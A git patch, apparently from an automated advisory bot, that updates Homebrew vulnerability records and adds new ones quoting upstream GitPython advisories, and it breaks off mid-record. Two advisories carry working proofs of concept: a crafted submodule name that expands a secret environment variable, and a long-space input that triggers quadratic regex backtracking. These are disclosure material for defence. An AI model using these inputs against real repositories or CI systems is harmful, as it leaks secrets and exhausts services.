From acc0ac0070be7e482330a8a795c3f1853d27eb37 Mon Sep 17 00:00:00 2001 From: BrewTestBot <1589480+BrewTestBot@users.noreply.github.com> Date: Fri, 30 Oct 2026 01:08:14 +0000 Subject: [PATCH] Matched advisory candidates (shard 15) Base: e9ae99110eeff8c90e90e3cead1568288cfa80c2 --- advisories/BREW-animdl-CVE-2025-43859.json | 10 +- .../BREW-conda-lock-CVE-2023-40267.json | 8 +- .../BREW-conda-lock-CVE-2023-40590.json | 8 +- .../BREW-conda-lock-CVE-2023-41040.json | 8 +- .../BREW-conda-lock-CVE-2024-22190.json | 8 +- advisories/BREW-conda-lock-CVE-2024-6345.json | 8 +- .../BREW-conda-lock-CVE-2025-47273.json | 8 +- .../BREW-conda-lock-CVE-2026-100689.json | 8 +- .../BREW-conda-lock-CVE-2026-110855.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-110856.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-110857.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-110858.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-110859.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-110860.json | 78 +++++++ .../BREW-conda-lock-CVE-2026-112908.json | 81 ++++++++ .../BREW-conda-lock-CVE-2026-112909.json | 91 ++++++++ .../BREW-conda-lock-CVE-2026-112911.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-112912.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-112915.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-112935.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-112936.json | 81 ++++++++ .../BREW-conda-lock-CVE-2026-112938.json | 81 ++++++++ .../BREW-conda-lock-CVE-2026-112939.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-112940.json | 85 ++++++++ .../BREW-conda-lock-CVE-2026-113715.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113716.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113717.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113719.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113720.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113721.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113722.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113723.json | 86 ++++++++ .../BREW-conda-lock-CVE-2026-113725.json | 82 ++++++++ .../BREW-conda-lock-CVE-2026-113726.json | 82 ++++++++ .../BREW-conda-lock-CVE-2026-113732.json | 82 ++++++++ .../BREW-conda-lock-CVE-2026-113776.json | 82 ++++++++ .../BREW-conda-lock-CVE-2026-114145.json | 88 ++++++++ .../BREW-conda-lock-CVE-2026-114613.json | 84 ++++++++ .../BREW-conda-lock-CVE-2026-42215.json | 8 +- .../BREW-conda-lock-CVE-2026-42284.json | 8 +- .../BREW-conda-lock-CVE-2026-44243.json | 8 +- .../BREW-conda-lock-CVE-2026-44244.json | 8 +- .../BREW-conda-lock-CVE-2026-59890.json | 8 +- .../BREW-conda-lock-CVE-2026-67322.json | 8 +- .../BREW-conda-lock-CVE-2026-67323.json | 8 +- .../BREW-conda-lock-CVE-2026-67324.json | 8 +- .../BREW-conda-lock-CVE-2026-67325.json | 8 +- .../BREW-conda-lock-CVE-2026-67326.json | 8 +- .../BREW-conda-lock-CVE-2026-69097.json | 8 +- .../BREW-conda-lock-CVE-2026-73619.json | 8 +- .../BREW-conda-lock-CVE-2026-73620.json | 8 +- .../BREW-conda-lock-CVE-2026-73621.json | 8 +- .../BREW-conda-lock-CVE-2026-73622.json | 8 +- .../BREW-conda-lock-CVE-2026-73623.json | 8 +- .../BREW-conda-lock-CVE-2026-73624.json | 8 +- .../BREW-conda-lock-CVE-2026-73625.json | 8 +- .../BREW-conda-lock-CVE-2026-76217.json | 8 +- .../BREW-conda-lock-CVE-2026-76218.json | 8 +- .../BREW-conda-lock-CVE-2026-76219.json | 8 +- .../BREW-conda-lock-CVE-2026-76220.json | 8 +- .../BREW-conda-lock-CVE-2026-76221.json | 8 +- .../BREW-conda-lock-CVE-2026-76222.json | 8 +- .../BREW-conda-lock-CVE-2026-78675.json | 8 +- .../BREW-conda-lock-CVE-2026-78676.json | 8 +- .../BREW-conda-lock-CVE-2026-78677.json | 8 +- .../BREW-conda-lock-CVE-2026-78678.json | 8 +- .../BREW-conda-lock-CVE-2026-78679.json | 8 +- .../BREW-conda-lock-CVE-2026-87817.json | 8 +- .../BREW-conda-lock-CVE-2026-87819.json | 8 +- .../BREW-conda-lock-GHSA-35mr-4567-66vg.json | 5 +- .../BREW-conda-lock-GHSA-5fqc-mrg8-w798.json | 5 +- .../BREW-conda-lock-GHSA-8w8g-wq8h-fq33.json | 5 +- .../BREW-conda-lock-GHSA-cm62-gvxx-vmxx.json | 5 +- .../BREW-conda-lock-GHSA-xmj3-9gf7-h52w.json | 83 ++++++++ ...W-gimme-aws-creds-GHSA-pxh4-856f-4h89.json | 79 +++++++ advisories/BREW-posting-CVE-2025-43859.json | 10 +- advisories/BREW-posting-CVE-2025-6176.json | 8 +- advisories/BREW-posting-CVE-2026-111497.json | 196 ++++++++++++++++++ advisories/BREW-posting-CVE-2026-58203.json | 8 +- advisories/BREW-pypy3.11-CVE-2026-13346.json | 8 +- .../BREW-pypy3.11-GHSA-xmj3-9gf7-h52w.json | 80 +++++++ advisories/BREW-virtualenv-CVE-2011-4617.json | 12 +- .../BREW-virtualenv-CVE-2024-53899.json | 14 +- .../BREW-virtualenv-CVE-2025-68146.json | 8 +- .../BREW-virtualenv-CVE-2026-102925.json | 14 +- .../BREW-virtualenv-CVE-2026-102930.json | 14 +- .../BREW-virtualenv-CVE-2026-102938.json | 14 +- .../BREW-virtualenv-CVE-2026-112906.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112908.json | 84 ++++++++ .../BREW-virtualenv-CVE-2026-112909.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112911.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112912.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112914.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112915.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112934.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112935.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112936.json | 84 ++++++++ .../BREW-virtualenv-CVE-2026-112937.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112938.json | 84 ++++++++ .../BREW-virtualenv-CVE-2026-112939.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112940.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-112941.json | 88 ++++++++ .../BREW-virtualenv-CVE-2026-22701.json | 8 +- .../BREW-virtualenv-CVE-2026-22702.json | 14 +- 104 files changed, 4519 insertions(+), 223 deletions(-) create mode 100644 advisories/BREW-conda-lock-CVE-2026-110855.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-110856.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-110857.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-110858.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-110859.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-110860.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112908.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112909.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112911.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112912.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112915.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112935.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112936.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112938.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112939.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-112940.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113715.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113716.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113717.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113719.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113720.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113721.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113722.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113723.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113725.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113726.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113732.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-113776.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-114145.json create mode 100644 advisories/BREW-conda-lock-CVE-2026-114613.json create mode 100644 advisories/BREW-conda-lock-GHSA-xmj3-9gf7-h52w.json create mode 100644 advisories/BREW-gimme-aws-creds-GHSA-pxh4-856f-4h89.json create mode 100644 advisories/BREW-posting-CVE-2026-111497.json create mode 100644 advisories/BREW-pypy3.11-GHSA-xmj3-9gf7-h52w.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112906.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112908.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112909.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112911.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112912.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112914.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112915.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112934.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112935.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112936.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112937.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112938.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112939.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112940.json create mode 100644 advisories/BREW-virtualenv-CVE-2026-112941.json diff --git a/advisories/BREW-animdl-CVE-2025-43859.json b/advisories/BREW-animdl-CVE-2025-43859.json index d736c0d33fa..4bfe154d8ec 100644 --- a/advisories/BREW-animdl-CVE-2025-43859.json +++ b/advisories/BREW-animdl-CVE-2025-43859.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-animdl-CVE-2025-43859", "published": "2026-08-13T16:35:16Z", - "modified": "2026-10-07T23:36:48Z", + "modified": "2026-10-29T21:29:49Z", "upstream": [ "GHSA-vqfr-h8mv-ghfj", "CVE-2025-43859", @@ -70,9 +70,17 @@ "type": "WEB", "url": "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/h11/PYSEC-2026-348.yaml" + }, { "type": "PACKAGE", "url": "https://github.com/python-hyper/h11" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/h11" } ] } diff --git a/advisories/BREW-conda-lock-CVE-2023-40267.json b/advisories/BREW-conda-lock-CVE-2023-40267.json index 2cb6631188c..63028b16eff 100644 --- a/advisories/BREW-conda-lock-CVE-2023-40267.json +++ b/advisories/BREW-conda-lock-CVE-2023-40267.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2023-40267", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-pr76-5cm5-w9cj", "CVE-2023-40267", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.32", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2023-40590.json b/advisories/BREW-conda-lock-CVE-2023-40590.json index b14a8215674..e2516d45b7d 100644 --- a/advisories/BREW-conda-lock-CVE-2023-40590.json +++ b/advisories/BREW-conda-lock-CVE-2023-40590.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2023-40590", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-wfm5-v35h-vwf4", "CVE-2023-40590", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.33", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2023-41040.json b/advisories/BREW-conda-lock-CVE-2023-41040.json index 034a36d436e..2fd5c9ee0c3 100644 --- a/advisories/BREW-conda-lock-CVE-2023-41040.json +++ b/advisories/BREW-conda-lock-CVE-2023-41040.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2023-41040", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-cwvm-v4w8-q58c", "CVE-2023-41040", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.37", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2024-22190.json b/advisories/BREW-conda-lock-CVE-2024-22190.json index 237056d7265..1e005c64abc 100644 --- a/advisories/BREW-conda-lock-CVE-2024-22190.json +++ b/advisories/BREW-conda-lock-CVE-2024-22190.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2024-22190", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-2mqj-m65w-jghx", "CVE-2024-22190", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.41", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2024-6345.json b/advisories/BREW-conda-lock-CVE-2024-6345.json index 1a6bc23b6af..b525f80ce62 100644 --- a/advisories/BREW-conda-lock-CVE-2024-6345.json +++ b/advisories/BREW-conda-lock-CVE-2024-6345.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2024-6345", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-07T23:37:00Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-cx63-2mw6-8hw5", "BIT-setuptools-2024-6345", @@ -34,7 +34,7 @@ "range_state": "fixed", "upstream_fixed_in": "70.0.0", "resource": "setuptools", - "resource_purl": "pkg:pypi/setuptools@84.0.0" + "resource_purl": "pkg:pypi/setuptools@84.2.1" } } ], @@ -47,8 +47,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "setuptools", - "subject_version": "84.0.0", - "key": "pkg:pypi/setuptools@84.0.0", + "subject_version": "84.2.1", + "key": "pkg:pypi/setuptools@84.2.1", "resource": "setuptools" } ] diff --git a/advisories/BREW-conda-lock-CVE-2025-47273.json b/advisories/BREW-conda-lock-CVE-2025-47273.json index 30bc524c304..617c7e9e0ed 100644 --- a/advisories/BREW-conda-lock-CVE-2025-47273.json +++ b/advisories/BREW-conda-lock-CVE-2025-47273.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2025-47273", "published": "2026-08-13T16:41:05Z", - "modified": "2026-09-17T18:12:38Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-5rjg-fvgr-3xxf", "BIT-setuptools-2025-47273", @@ -34,7 +34,7 @@ "range_state": "fixed", "upstream_fixed_in": "78.1.1", "resource": "setuptools", - "resource_purl": "pkg:pypi/setuptools@84.0.0" + "resource_purl": "pkg:pypi/setuptools@84.2.1" } } ], @@ -47,8 +47,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "setuptools", - "subject_version": "84.0.0", - "key": "pkg:pypi/setuptools@84.0.0", + "subject_version": "84.2.1", + "key": "pkg:pypi/setuptools@84.2.1", "resource": "setuptools" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-100689.json b/advisories/BREW-conda-lock-CVE-2026-100689.json index 455d78084fd..4db9b8d1f56 100644 --- a/advisories/BREW-conda-lock-CVE-2026-100689.json +++ b/advisories/BREW-conda-lock-CVE-2026-100689.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-100689", "published": "2026-10-01T09:14:40Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-59cr-6r3x-644w", "CVE-2026-100689" @@ -32,7 +32,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.62", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -45,8 +45,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-110855.json b/advisories/BREW-conda-lock-CVE-2026-110855.json new file mode 100644 index 00000000000..862b4e2e663 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110855.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110855", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-fx3j-rwgx-fr94", + "CVE-2026-110855" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name", + "details": "### Summary\n`Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are.\n\n### Root cause / Details\n`git/repo/base.py`'s `_clone()` has:\n\n```python\nsep_dir = kwargs.get(\"separate_git_dir\")\nif sep_dir:\n kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n```\n\nThis is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: \"Disable this for values obtained from an untrusted source, such as remote URLs.\" Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path.\n\n`separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, \"modules\", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.\n\n### Reproduction (live, against real, unmodified GitPython code, no monkeypatching)\nBuilt a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the \"victim\" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses:\n\n```python\nrepo = Repo.clone_from(evil_parent_url, victim_clone_dir)\nrepo.submodule_update(init=True, recursive=True)\n```\n\nObserved result (`ls .git/modules/`):\n\n```\n.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/)\n```\n\nThe literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)\n\n**Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/` as expected — isolating the gap to submodule names containing environment-variable syntax specifically.\n\n### Already-known check\nChecked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S \"separate_git_dir\" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`).\n\nThe closest topical match is `GHSA-8mcc-hrx5-hvxc` (\"`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`\") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.\n\nNo advisory describes environment-variable expansion via the internal `separate_git_dir` path.\n\n### Suggested fix\nAdd `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same class of issue.\n\n### Verification level\nReproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).\n\n### AI Use Disclosure\nAI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.\n\nCredit: please use \"baeseungwon1010\" (github.com/baeseungwon1010).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2255" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-110856.json b/advisories/BREW-conda-lock-CVE-2026-110856.json new file mode 100644 index 00000000000..794a6f88502 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110856.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110856", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-m64x-33q8-m5h7", + "CVE-2026-110856" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines", + "details": "### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\") # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a 